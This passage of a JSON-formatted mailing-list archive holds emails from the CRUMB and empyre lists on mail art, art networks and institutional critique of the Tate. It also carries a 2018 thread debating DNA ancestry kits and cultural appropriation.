asked\n>in his 1966 manifesto, \u00b3A Proposition, a Problem, a Danger, and a Hunch.\u00b2\n>Robert called for a \u00b3A refusal to be colonized culturally by a selfstyled\n>race of specialists in painting, sculpture, poetry, music, etc....\u00b2\n>\n>You can get it in PDF format at this URL:\n>\n>http://www.ubu.com/historical/gb/manifestos.pdf\n>\n>But there are many sides to this coin. I don\u00b9t know if there is a good\n>answer, or even a happy one.\n>\n>Clive ran one of the loveliest spaces, projects, and publishing entities\n>in the not-quite-eternal network of the early 1970s, W.O.R.K.S. in\n>Calgary. I\u00b9m always amazed at how much more intelligent and free things\n>are when we don\u00b9t need to fund them through the governments and\n>governmental systems that require us to become professional artists. This\n>is what leads to the problem that Clive identifies so well: \u00b3The network\n>as shared in the early 1970s preceded the formalization of artists spaces\n>that confronted / was confronted itself by network issues. The network\n>itself was open to abuse as an alternative or oppositional disguise for\n>self-promotion but remains I think a very different concept than what\n>often poses now as reforms or improvements to a re-established\n>hierarchical and exclusionary art system.\u00b2 That, in essence, is the price\n>in a world where professionalization and the submissive role are quite\n>close to the same thing.\n>\n>My day job turned out to be quite a good thing \u00ad I was good at it, and it\n>suited me better than I could have imagined. No life is perfect, but the\n>next best thing to living the life of a monk is working as a scholar and\n>researcher.\n>\n>Two or three times in the past few days, I have had occasion to think of\n>another Zen monk, Han-Shan (1966: 49), a 9th century Buddhist and poet.\n>I\u00b9ll close with his words for now:\n>\n>When men see Han-shan\n>They all say he\u00b9s crazy\n>And not much to look at -\n>Dressed in rags and hides.\n>They don\u00b9t get what I say\n>And I don\u00b9t talk their language.\n>All I can say to those I meet:\n>\u00b3Try and make it to Cold Mountain.\u00b2\n>\n>Ken\n>\n>Ken Friedman, PhD, DSc (hc), FDRS | University Distinguished Professor |\n>Swinburne University of Technology | Melbourne, Australia |\n>[log in to unmask] | Mobile +61 404 830 462 | Home Page\n>http://www.swinburne.edu.au/design/people/Professor-Ken-Friedman-ID22.html\n><http://www.swinburne.edu.au/design>\n>\n>Guest Professor | College of Design and Innovation | Tongji University |\n>Shanghai, China\n>\n>--\n>\n>References\n>\n>Filliou, Robert. 1966. \u00b3A Proposition, a Problem, a Danger, and a Hunch.\u00b2\n>Manifestoes. New York: Something Else Press, p. 16. [Reprinted 2004.]\n>Free digital copy available at Ubu Classics URL:\n>http://www.ubu.com/historical/gb/index.html Accessed 5 February 2013.\n>\n>Han-Shan. 1966. Cold Mountain Poems. Translated by Gary Snyder. In Riprap\n>and Cold MountainPoems. San Francisco: Four Seasons Foundation.",
                        "id": 0,
                        "date": "Tue, 5 Feb 2013 08:35:57 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=5332",
                        "content-type": "text/plain",
                        "author_name": "Dorothee Richter",
                        "subject": "Re: Intro"
                    },
                    {
                        "from": "marc garrett",
                        "content": "\nHi all,\n\nFirstly, I wish thank Roddy for inviting me to share ideas and \n(possible) revelations with others on the Crumb list.\n\nBefore I get into the flow of the discussion I would like to pre-empt \nthe hopefully 'interesting' noise by letting people on here know about \none of my latest adventures in writing. However, regarding the context \nof this discussion, I think it's also necessary to say that I am working \nclass, and I have only begun my Phd at Birkbeck, London at the age of 48 \n(my 1st time in University), and I have a history in art, activism, \nstreet art, hacking in the late 80s/early 90s - analogue, networked and \nurban. All the things I do are driven by the idea or spirit of \ninitiating some form of 'self & peer' emancipation. Whether this relates \nto co-curating at the Furtherfield space, our online communities, or our \nmedia ecology projects and more\u2026\n\nHere is a short intro from my recent paper called 'Disrupting The Gaze. \nPart 1: Art Intervention and the Tate Gallery.'\n\n\u201cThe word \u201cart\u201d can conjure up a vision of objects in an art gallery, \nshowroom or museum, that can be perceived as reinforcing the values and \nmachinations of the victors of history as leisure objects for elite \nentertainment, distraction and/or decoration - or the narcissistic \nexpression of an isolated self-regarding individual.\u201d [1] (Garrett & \nCatlow 2012)\n\nWe live in a world riddled with contradictions and confusing signals. \nOur histories are assessed, judged and introduced as fact yet there are \nso many bits missing. We accept what is given through sound bite forms \nof mediation and end up using misinformation as our cultural \nfoundations, and then we build on these \u2018acquired\u2019 assumptions as our \n\u2018imagined\u2019 guidelines. This critique studies how contemporary artists \nare challenging these defaults through their connected enactments and \ncritical inquiries of the existing conditions. It highlights a continual \ndialogue involving a historical struggle between what is condoned as \nlegitimate art and knowledge, and what is not. It looks at a complexity, \nembedded in our culture and its class divisions in Britain. And draws \nupon struggles going as far back as the enlightenment, the industrial \nrevolution, colonialism and slavery, to present day concerns with \nneoliberalism and its dominance. The Tate gallery is used as a reference \npoint and a site of focus for these various historical and contemporary, \npolitical and societal conflicts.\n\nThe artists\u2019 and art groups featured, such as Graham Harwood, Platform, \nIOCOSE, Tamiko Thiel, and Mark Wallinger; has each delivered a \nparticular (unofficial and official) mode of art intervention at the \nTate Gallery. Whether these artistic activities concern economic, \necological, historical, political or hierarchical conditions, they all \nconnect in different ways. They meet, not through style or as part of a \nfield of practice, but as contemporary artistic practitioners exploring \ntheir own states of agency in a world where our \u2018public\u2019 interfaces are \nas much a necessary place of creative engagement, as is the already \naccepted physical \u2018inner\u2019 sanctum of the gallery space. However, their \nwork has become equally significant (perhaps even more) than, the \nmainstream art establishment\u2019s franchised celebrities.\n\nIn keeping with Gregory Sholette\u2019s recently, published vindication for \nthose artists hidden away where the art establishment\u2019s light rarely \nshines, \u201cwhen, the excluded are made visible, when they demand \nvisibility, it is always ultimately a matter of politics and rethinking \nhistory.\u201d [2] (Sholette 2011) This paper draws upon a wider, \ncontemporary art culture and audience existing out there. Yet, the \nartistic discoveries and discourse coming out of this independent art \nculture, is not reflected back to us. Instead, we receive more of the \nsame, marketed franchises. The central, mainstream version of \ncontemporary art has found its allies within a global and corporate \nculture, where business dictate\u2019s art value. However, there is a spirit \nof artistic emancipation that exists and is thriving out there. It is \nself styled, self governed and liberated from the restrictive norms that \ndominate our mediated gaze, and this is what this paper is mainly about.\n\nend of intro\u2026\n\nextract from paper\u2026\n\n\"Institutions are in themselves sacred. If you challenge what is sacred \nyou not only question the institution\u2019s posture, but also what it \nsymbolizes to all those who receive the benefits of its reputed position \nof authority. Power is also sacred, and myths are bound up in procedures \nand presentations engaging in the currency of cultural \u2018importance\u2019. The \nTate\u2019s power comes from accumulation; its success is in managing and \nmaintaining its vast collection of pictorial and sculptural objects for \nall to see. This is why the institution is cherished and seen as \nsignificant, culturally and nationally. From its collection it presents \na \u2018finely tuned\u2019 version of Britain\u2019s \u2018artistic\u2019 identity. The Tate is \nthe protector of collected, artistic memories and an ambassador of \nhistory and time, our history and time. The psychoanalyst, O. Brown \ninsightfully describes this endeavour as archaic, \u201cArchaic man conquers \ndeath by living the life of his dead ancestors.\u201d[16] (O. Brown 1959). \nThe safeguarding of this \u2018curated\u2019 history fashions a situation where we \nare asked to trust its status as \u2018specialized\u2019, in issuing forth a \nviable definition of our national, artistic past. This power presents us \nwith other implications. Because historical and cultural weight is given \nto the \u2018managed\u2019 entities within its collection - our gaze for \nlesser-known artists is diverted with an added presumption they are also \nnot as significant. The prevailing ideological governance of what is \nseen, determines our perceptions of what is of cultural value and \nsignificance, due to what is produced as visible and invisible. What is \nvisible through the gaze of the dominant hegemony is then assumed as \nmerit for \u2018special\u2019 attention, lessening the cultural presence of \nemergent forms of consciousness and more diverse, artistic pursuits.\"\n\nReferences.\n\n[1] By Marc Garrett, Ruth Catlow. DIWO: Do It With Others \u2013 No Ecology \nwithout Social Ecology.\nFirst published in Remediating the Social 2012. Editor: Simon Biggs \nUniversity of Edinburgh. Pages 69-74\nhttp://www.furtherfield.org/features/articles/diwo-do-it-others-%E2%80%93-no-ecology-without-social-ecology\n\n[2] Gregory Sholette. Dark Matter: Art and Politics in the Age of \nEnterprise Culture. Pluto Press (January 4, 2011)\n\n[16] Normon O. Brown. Life Against Death: The Psychoanalytical Meaning \nof History. Second Edition. Wesleyan University Press. 1959. Page 285.\n\nwishing all well.\n\nmarc\n\n-- \n--->\n\nA living - breathing - thriving networked neighbourhood -\nproud of free culture - claiming it with others ;)\n\nOther reviews,articles,interviews\nhttp://www.furtherfield.org/reviews.php\n\nFurtherfield \u2013 online arts community, platforms for creating, viewing,\ndiscussing and learning about experimental practices at the\nintersections of art, technology and social change.\nhttp://www.furtherfield.org\n\nFurtherfield Gallery \u2013 Finsbury Park (London).\nhttp://www.furtherfield.org/gallery\n\nNetbehaviour - Networked Artists List Community.\nhttp://www.netbehaviour.org\n\nhttp://identi.ca/furtherfield\nhttp://twitter.com/furtherfield",
                        "id": 0,
                        "date": "Tue, 5 Feb 2013 10:39:30 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=6125",
                        "content-type": "text/plain",
                        "author_name": "marc garrett",
                        "subject": "Re: Intro"
                    }
                ],
                "date": "Tue, 5 Feb 2013 08:08:00 +0000",
                "list": "crumb",
                "author_name": "Ken Friedman",
                "subject": "Re: Intro"
            },
            {
                "content-type": "text/plai",
                "from": "Clemente Pad\u00edn <clepadin@adinet.com.uy>",
                "id": "00001",
                "content": "You wrote:\n\"How are you finding net/web.art in comparison to mail art?\"\n\nMy dear Jim,\n\nAccidentally I have some memorandums on the topic that you ask me. I\nprepared them in order to respond to my dear friend's FAGAGAGA comment. If\nyou permit me it I send you them so that you pass it to the net of our\nfriends.\n----------------------------------------------------------------------------\n--------------------------------------------\nMail Art and Web Art\n\n\n                                                            \"Reading the\ncommendations of nowadays to the Internet and investigating the individual\nwebsites, we remembered that the mailartists has been making the same\nactivity 10, 20 and, sometimes, from 30 years ago. The decentralization of\nthe art and the communication to distance from the art centers of the world,\nin charge of the artist-s-mail, they happened many before the World Wide\nWeb\".\n\nFagagaga, 15 of Nov.\u00b499, personal letter to me\n\n\nThe things don't happen scatteredly, all are linked. The art in the Net of\nnowadays is not casual and it is originated, certainly, in Mail Art. Who\nhave been the objectives of the art mail from its beginnings in the first\nexperiences of Ray Johnson of half-filled of the 60s, but the communication\nand the interation? Ray sent unconcluded works to his friends so that they\nended them. Born from that original project, nowadays the Mail Art, already\nat the end of century, preserve with great difficulty its force and its\nimpulse in spite of the changes caused by the scientific and technological\nadvances and the foregone absorption of the market. It is true that so much\nyears of validity have weakened that\nremotion of values and that today a growing institutionalization, absorption\nand banalitization are attended, on the part of the stablisment, of the\nprinciples that consecrated to the communication like only representative of\nour art, above the inconstant and whimsical artistic fashions, the more than\nthe times imposed by the market of the art. The decentralization of the art\nis an implicit phenomenon in the art mail because a current of artistic\nspecific expression centralized in an is not \"ism\" (like Surrealism or\nAbstraccionism, etc.) but of an artistic form that admits any half or\nsupport and any aesthetic well-known current and by knowing:  \"The Eternal\nNetwork\" of Robert Filliou, the utopian project, perhaps unreachable, of the\npermanent communication of all through all the available means.\n\nEven we suffer the confusion or false contradiction betwen art and\ncommunication. The artistic product is, above all, a product of\ncommunication and therefore part inseparable of the social production. On\nthe other hand, the same as the rest of the products that the man creates,\nis constituted in aiding of that same production (upon favoring or hinder\nits processes). In some contexts its nature \"artistic\" will prevail\n(museums, galleries, classes, etc.). In another one its nature of instrument\nof communication will prevail. But, both facets are inseparable. In this\nparticular form of art (since it is a symbolic form of expressing our\nreality) prevails the value of use above the merely mercantile or of change.\nThe components of relationship of communication (or fatics)  prevail and\npredispose to the talkative act.\n\nThere is, perhaps, the reasons of its persistense like current of artistic\nexpression: it don't take place for the market of the art, for which it\nisn\u00b4t sold neither there are juries that select the works, neither limits in\nrelation to the techniques employees neither in relation to the currents of\nideological expression or aesthetics, not refund, etc. Neither interests the\nartistic, either literary gender, plastic, musical, even the own presence of\nthe\nmail-artist could be considered as talkative act (like Turism Art, derived\nof the Mail Art), etc. Lastly, neither there is categories neither elites,\nneither upper-class neither beginners, neither leaders neither submissive,\nneither obligations of no nature. One could enter and leave from the nets of\ncommunication without no problem. However, fruit of the progressive\nmerchandising of the Mail Art is begun already to appear groups of\nartist-s-mail that, with the pretext of conserving and improve the aesthetic\nlevels and of assuring the edition of good catalogs, they are organizing\nexhibitions for invitation sponsoreds for Galleries and Institutions applied\nto the market of the art.\n\nWould  Networking (name that adopts the Mail Art upon adding another means\nof communication to distance like fax and electronic mail), be pointing out\nthe new road that will travel the art of the 2000 in order to resume its\nprimary function of communication to the service of the community, before\nthe money and the merchandising come to corrupt those tacit mechanisms?\nNowadays, of face to the 2000, many critics are surprised  of the character\nmasive and interactive of the art that is generated in the Wegsites, without\nknowing that those nets and those characteristics already existed from ends\nof the 60s., in the artistic work of those pioneers that saw in the\ncommunication to distance or Mail Art the means for which diffuse their\nideals of understanding between all in a climate of respect, happiness and\nworthy life. Who don't remember those booklets or postcards that we arrived\nwith the application that you will add something and pass to other artists\nin the net (the \"add and pass on\") or those postcards to which should we\nmake give the turn to the world through the mail conserving the postals\nstamps and the postmark? Or the incomplete leaves of stamps of apocryphal\nmail that we should complete? Or the accusations against the violation of\nthe human rights and against the outrage of the dictatorships?  And the\nexhibitions in pro of the freedom of political prisoners (like, for example,\nMandela in the 70s.) or for the right to the sovereignty enslaved of the\ncountries (like, for example, Cuba and Panama), etc.? And many, many other\nprojects. In fact the interactivity and the communication are the\nfoundations that sustain the nets of Mail Art. And those basic\ncharacteristics have been transmitted the Networking and to the Art in the\nWeg.\n\n------------------------------------------------------\nFraternal greetings,\n\n----- Mensaje original -----\nDe: \"Jim Andrews\" <jim@vispo.com>\nPara: <empyre@lists.cofa.unsw.edu.au>\nEnviado: Jueves, 31 de Octubre de 2002 02:55 a.m.\nAsunto: RE: [-empyre-] re: Jorge Luiz Antonio, Jim Andrews - relational\npoetry and semiotics\n\n\n> I know that prior to the Web, you were very active in mail art, Clemente,\namong other things.\n> How are you finding net/web.art in comparison to mail art?\n>\n> ja\n>\n\n\n\n\n",
                "date": "Fri Nov  1 11:16:01 2002",
                "to": "<empyre@lists.cofa.unsw.edu.au>",
                "message-id": "000701c2813c$5a948960$0fb228c8@i4v4m3",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2002-November/msg00001.html",
                "list": "empyre",
                "author_name": "n/a",
                "subject": "[-empyre-] relational poetry and semiotics"
            },
            {
                "content-type": "n/a",
                "from": "liz at ubermorgen.com",
                "id": "10322",
                "content": "\ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \nHELLO\n\nI dont know if you can hear me, I can hear you but I dont know if this is a good connection it keeps breaking o\n\nThank you Shu Lea for the invite and I dare you I have read all the communication that has been going on and I am sure I did not at all understand it but then it is not understanding that I crave but inspirazione.\nI medias res. A topic to start from. \n\n\ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21  \nThe network within me (cave: relates to immersive species and the before mentioned DNA fingerprints)\nI have a vast genetic network within me.\n\n24% Celtic/Hallstatt\n21% Greek\n20% Eastern European \n13% Scandinavian\n06% Northern African\n05% Italian\n04% Finnish\n03% Ashkenazi Jewish\n02% West European\n02% Central American\n01% Nigerian\n\nI am many. I have gotten these results about 3 months ago. I am watching my relationship to far away netnodes of natures and cultures. I watched the GERMEX game yesterday knowing that I am I tiny bit Mexican too. Does it make a difference? Or is my love connection to Mexico more relevant? Or is there a love connection because of my genetic network?\n\n\ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21\nWhat does it mean to be indigenous? (As my father is from the Hallstatt area my Celtic roots are my indigenous roots)\nI know I have never had any understanding of Western Europe and this mirrors in my genetic network. \nBeing pregnant with my first child re-taught me what it feels like to be not-one \u2014 looking at my genetics I feel relieved to be not one but many.\n\nI am wondering how does my genetic intranet connect to the internet.\n\nI would like to discuss with you as DNA fingerprints were already mentioned before - the implications of this kind of DNA fingerprinting\nI would like to discuss with you about the immersiveness of our all genome\nI would like to discuss with you. \n\nAs a note: immersive species might really be a problematic term (I guess the immersive species themselves would argue such) - but I do think that there are immersive predators - as pointed out with the island/cat example.\n\n\ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21 \ud83d\udc21\nPostscript: I am not a theoreticienne - neither am I very versed in contemporary art practice besides my own. My influences are strictly Mozart Hallstatt Culture Marilyn Manson Rammstein KLF Kenyan Newspapers Montessori Macroeconomics Thinking Local Acting Global Norwegian TV Series Trees and Stones and https://youtu.be/awY1MRlMKMc. \nPostscript02: at UBERMORGEN we are currently working on making art for the alt.right. this is more bout undermining the current networks of the heartless psychopaths, we can talk bout that later if ya want.\n\nlizvlx\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180618/fcaa95fc/attachment.html>\n",
                "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010322.html",
                "follow-up": [
                    {
                        "author_name": "BStalbaum",
                        "from": "bstalbaum at ucsd.edu",
                        "id": "10323",
                        "content": "DNA kits have become hilarious, painfully unaware self parodies of the \nwill toward cultural appropriation. (Just for one example: \nhttps://www.youtube.com/watch?v=84LnTrQ2us8 ) Of course I say this as a \ncitizen of the U.S. Our context is particular and perverse, one in which \nsome substantial proportion of the white population believes they are in \nthe \"blood line\" (we still have a lot of strong premodern beliefs like \n\"the blood\"...) of indigenous North American peoples. Most of whom we \nkilled, so the common case of whites who make very strong claims to \nnative ancestry is particularly perverse. It is only ~100 years since \nthe open, armed hunting of native people was still taking place here, \nbasically unopposed by civil society, even in now liberal California. \nActually I live in one of the last places in the US where this genocidal \npractice was commonly practiced, and is well documented. But people in \nmy state hardly own up to it, and my own University system is deeply \nimplicated. (Look up the history of Kroeber Hall at Berkeley, for \nexample.) To put a personal spin on the matter, I have a couple of true \nbelievers in my own very white family. Honestly, people who have \"dream \ncatchers\", believe they are part of a tribe - they are not registered \nand can not register with any actual tribe - and who believe that their \nblood puts them in deeper touch with the spirits of the land. I am not \npopular at family events, as you might imagine;-) Calling these false \nbeliefs out, even among whites only, is still quite incendiary here.\n\nAn other example of the obscene nature of this common identity theft \ncomes in the figure of US senator Elizabeth Warren of Massachusetts. She \nwas raised with these false beliefs, that she had natives in her family \ntree, and yes I do believe she has suffered a lot of well deserved \nembarrassment in the process of slowly coming around to personally \nowning her false family narrative. She is an otherwise sympathetic \nfigure in most ways, and I should note, our president has belittled her \nin an explicitly racist manner, demonstrating the continuum between the \nsoft and hard forms of racism in my country.\n\nDNA is fraught, we should be very careful call it out when we see it \nused as an identity prop for cultural appropriation. Our networks are \nfull of this kind of theft and positioning, as if such reductive DNA \nresults can possibly mean more than our experience within the more \ntangible web of social relations; how we individually experience \nprivilege and discrimination. (Including generational effects.)\n\nOr that your DNA is what makes you a German or a Scot, as in the \nridiculous commercial for Ancestry [.com] But in the US, the commercial \nshows how common these weird and often racist beliefs are. It is so \nsick, I feel like there must be lot of cultural specificity to it. I'd \nlove to hear about how these DNA kits are playing out in other places.\n\n\nOn 06/18/2018 07:37 AM, lizvlx wrote:\n> ----------empyre- soft-skinned space----------------------\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180618/287830f3/attachment.html>\n",
                        "date": "Tue Jun 19 05:45:22 AEST 2018",
                        "message-id": "10323",
                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010323.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "Christiane Robbins",
                                "from": "crobbins at mindspring.com",
                                "id": "10325",
                                "content": "Brett,\n\nI couldn\u2019t agree more in that DNA kits are ripe for parody \u2026 the clich\u00e9s the stereotyping, the narrow bandwidth of race is utterly sophomoric and misleading.  That said, I take issue with the focus of your position below - the \u201cwill toward cultural appropriation\u201d, identity theft and the rush to judgement of an the exploitive branding as an identity prop for purposes of cultural appropriation\u2026. or if, as you may be implying, for financial gain.\n\nI, too, state this as a citizen of the USA.  My own ancestor was Robert Coe - an original puritan ( colonizer) displaced from the UK and arriving in MA - and a rather prolific one at that!.  My blood lines ( as it were ) speak to the amalgam of immigration patterns in the east coast of USA since 1635 .    These include the Lenape Tribe ( the original peoples,)  the British, the Irish, the German, the Italian, the Spanish, the Finnish and the Lebanese - and all of these speak to their own migratory patterns throughout the millennia that in themselves have been racialized and nationalized.  \n\nI am simply an exemplary example of 4 centuries of migratory co-mingling in what is now called the USA.   All are verifiable in my DNA analysis as well as the patriarchal names ( Coe, Maier, Cassidy, Allaway, etc.) And most significantly via an oral history that has been handed down to me through my matriarchal line - my mother.  This oral history is most incredible but now pales in responding to the evidentiary demands of verifiable data analysis of the 21st c the DNA analysis which has now taken center stage .  This is simply an apt metaphor for our moment in history.\n\nFYI, throughout the 17th, 18th and 19th century in the USA the Lenape tribes ( comprising 3 clans in NY, NJ, PA CT,and MD) my own ancestors, were decimated first by the Dutch, then the French and then the English - i.e.  Amherst and disordering of the disbursement of infected blankets.  As we all understand, colonial brutality, enslavement and native disappearance spread in waves across the racialized continent.\n\nMy understanding is that numerous others, including Elizabeth Warren, also responded to an oral history in their claims to Cherokee blood.  I do not automatically associate this with Identity Theft - at all.  Anyone who is actually familiar with Native American Tribal histories understands this respected oral tradition - as well as the tribal politics due the fairly recent financial gains by tribal investments and assets.    As the survivors fled south - some following the \"Trail of Tears\" they became one with the Cherokee tribes who eventually settled in Oklahoma - and again co-mingled.  In scapegoating Elizabeth Warren - you seem to do so from limited understanding of these histories and their respective operative and systemic racisms.\n\nThanks to all for a stimulating conversation - once again!\n\nBest,\n\nChris\n\n\n\n> On Jun 18, 2018, at 12:45 PM, BStalbaum <bstalbaum at ucsd.edu> wrote:\n> \n> ----------empyre- soft-skinned space----------------------\n> DNA kits have become hilarious, painfully unaware self parodies of the will toward cultural appropriation. (Just for one example: https://www.youtube.com/watch?v=84LnTrQ2us8 <https://www.youtube.com/watch?v=84LnTrQ2us8> ) Of course I say this as a citizen of the U.S. Our context is particular and perverse, one in which some substantial proportion of the white population believes they are in the \"blood line\" (we still have a lot of strong premodern beliefs like \"the blood\"...) of indigenous North American peoples. Most of whom we killed, so the common case of whites who make very strong claims to native ancestry is particularly perverse. It is only ~100 years since the open, armed hunting of native people was still taking place here, basically unopposed by civil society, even in now liberal California. Actually I live in one of the last places in the US where this genocidal practice was commonly practiced, and is well documented. But people in my state hardly own up to it, and my own University system is deeply implicated. (Look up the history of Kroeber Hall at Berkeley, for example.) To put a personal spin on the matter, I have a couple of true believers in my own very white family. Honestly, people who have \"dream catchers\", believe they are part of a tribe - they are not registered and can not register with any actual tribe - and who believe that their blood puts them in deeper touch with the spirits of the land. I am not popular at family events, as you might imagine;-) Calling these false beliefs out, even among whites only, is still quite incendiary here.\n> \n> An other example of the obscene nature of this common identity theft comes in the figure of US senator Elizabeth Warren of Massachusetts. She was raised with these false beliefs, that she had natives in her family tree, and yes I do believe she has suffered a lot of well deserved embarrassment in the process of slowly coming around to personally owning her false family narrative. She is an otherwise sympathetic figure in most ways, and I should note, our president has belittled her in an explicitly racist manner, demonstrating the continuum between the soft and hard forms of racism in my country.\n> \n> DNA is fraught, we should be very careful call it out when we see it used as an identity prop for cultural appropriation. Our networks are full of this kind of theft and positioning, as if such reductive DNA results can possibly mean more than our experience within the more tangible web of social relations; how we individually experience privilege and discrimination. (Including generational effects.)\n> \n> Or that your DNA is what makes you a German or a Scot, as in the ridiculous commercial for Ancestry [.com] But in the US, the commercial shows how common these weird and often racist beliefs are. It is so sick, I feel like there must be lot of cultural specificity to it. I'd love to hear about how these DNA kits are playing out in other places.\n> \n> \n> On 06/18/2018 07:37 AM, lizvlx wrote:\n>> ----------empyre- soft-skinned space----------------------\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.artdesign.unsw.edu.au <mailto:empyre at lists.artdesign.unsw.edu.au>\n>> http://empyre.library.cornell.edu <http://empyre.library.cornell.edu/>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180618/c23b1cd4/attachment.html>\n",
                                "date": "Tue Jun 19 10:33:04 AEST 2018",
                                "message-id": "10325",
                                "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010325.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "melinda at subtle.net",
                                        "id": "10327",
                                        "content": "Hi all,\n great monthly topics.. and DNA talk compels me to respond..\nmy take on DNA  is rather different as an Adopted person without knowledge of my racial/cultural heritage\n\nI did as a kid dream I was misplaced child of European royalty, but alas my birth mum was just a young unmarried working class woman from the poorer suburbs shamed and bullied by society and religion into letting nuns take her child. she had another daughter she lost to adoption two years later. I have never met my 1/2 sister.\n\nso I am using DNA to locate my relatives - and I agree ist full of clich\u00e9s and stereotyping , especially when one runs ones results through different companies (ancestry, 23andMe, my heritage etc) . their ancestral algorithms are based on estimates and probabilities, not certainties,  and I come out racially differently in each result.\n\nMy Scandanavian is overtaken by western European, I get to be more english and less Irish/Scottish in others, my precious bit of Persian decreases, while my Italian gains.  As well there are no DNA testing companies that have reliable reference SNP data from Indigenous Australians -so bad luck if you are looking.\n\nFor me it is flawed on so many levels , but serious as its the only linkage I have to my paternal heritage, and to my adopted 1/2 sister. It also answers a few questions for me, like why having grown up in outback Australia I feel so at home safe and comfortable in European forests - why I feel very familiar with Denmark and Danish. \n\nThose that have the luxury of connection to heritage, I don't think could really understand what its like to not see anyone u look like, and that mirroring is a vital component of development, and have no threads to  cultures, society, or land.  Its a little like being a refugee from birth .. grateful for food and shelter but stricken with grief and loss - cant go back uncertain about going fwd, a placeless person.\n\nDNA promises a lot, but it doesn't deliver - almost like gambling- get a lead follow it, then people don't respond, etc.. .MyHeritage has a pro bono initiative DNA Quest which is supposed to  help adoptees and their birth families reunite through DNA testing- sending out 15,000  DNA kits for free.  But u still need the dedication to do the work to find and follow links and build thier network and info.  My favourite line in their blurb:\n\" We hope to make this project a shining light for corporate philanthropy and an example to be followed by other commercial companies in their own lines of expertise, to help make our world a better place.\"\n\nAnd in all of this heart-felt searching, most companies ask if they can retain our DNA records for medical research .. building a Biodata Empire, and most people, thinking they are helping their fellows, say yes.\n\nhappy testing \n\nKerri Anne Burgess\nas I was on my birth certificate before I was legally transformed into Melinda Rackham\n\n\n> On 19 Jun 2018, at 10:03 am, Christiane Robbins <crobbins at mindspring.com> wrote:\n> \n> ----------empyre- soft-skinned space----------------------\n> Brett,\n> \n> I couldn\u2019t agree more in that DNA kits are ripe for parody \u2026 the clich\u00e9s the stereotyping, the narrow bandwidth of race is utterly sophomoric and misleading.  That said, I take issue with the focus of your position below - the \u201cwill toward cultural appropriation\u201d, identity theft and the rush to judgement of an the exploitive branding as an identity prop for purposes of cultural appropriation\u2026. or if, as you may be implying, for financial gain.\n> \n> I, too, state this as a citizen of the USA.  My own ancestor was Robert Coe - an original puritan ( colonizer) displaced from the UK and arriving in MA - and a rather prolific one at that!.  My blood lines ( as it were ) speak to the amalgam of immigration patterns in the east coast of USA since 1635 .    These include the Lenape Tribe ( the original peoples,)  the British, the Irish, the German, the Italian, the Spanish, the Finnish and the Lebanese - and all of these speak to their own migratory patterns throughout the millennia that in themselves have been racialized and nationalized.  \n> \n> I am simply an exemplary example of 4 centuries of migratory co-mingling in what is now called the USA.   All are verifiable in my DNA analysis as well as the patriarchal names ( Coe, Maier, Cassidy, Allaway, etc.) And most significantly via an oral history that has been handed down to me through my matriarchal line - my mother.  This oral history is most incredible but now pales in responding to the evidentiary demands of verifiable data analysis of the 21st c the DNA analysis which has now taken center stage .  This is simply an apt metaphor for our moment in history.\n> \n> FYI, throughout the 17th, 18th and 19th century in the USA the Lenape tribes ( comprising 3 clans in NY, NJ, PA CT,and MD) my own ancestors, were decimated first by the Dutch, then the French and then the English - i.e.  Amherst and disordering of the disbursement of infected blankets.  As we all understand, colonial brutality, enslavement and native disappearance spread in waves across the racialized continent.\n> \n> My understanding is that numerous others, including Elizabeth Warren, also responded to an oral history in their claims to Cherokee blood.  I do not automatically associate this with Identity Theft - at all.  Anyone who is actually familiar with Native American Tribal histories understands this respected oral tradition - as well as the tribal politics due the fairly recent financial gains by tribal investments and assets.    As the survivors fled south - some following the \"Trail of Tears\" they became one with the Cherokee tribes who eventually settled in Oklahoma - and again co-mingled.  In scapegoating Elizabeth Warren - you seem to do so from limited understanding of these histories and their respective operative and systemic racisms.\n> \n> Thanks to all for a stimulating conversation - once again!\n> \n> Best,\n> \n> Chris\n> \n> \n> \n>> On Jun 18, 2018, at 12:45 PM, BStalbaum <bstalbaum at ucsd.edu> wrote:\n>> \n>> ----------empyre- soft-skinned space----------------------\n>> DNA kits have become hilarious, painfully unaware self parodies of the will toward cultural appropriation. (Just for one example: https://www.youtube.com/watch?v=84LnTrQ2us8 ) Of course I say this as a citizen of the U.S. Our context is particular and perverse, one in which some substantial proportion of the white population believes they are in the \"blood line\" (we still have a lot of strong premodern beliefs like \"the blood\"...) of indigenous North American peoples. Most of whom we killed, so the common case of whites who make very strong claims to native ancestry is particularly perverse. It is only ~100 years since the open, armed hunting of native people was still 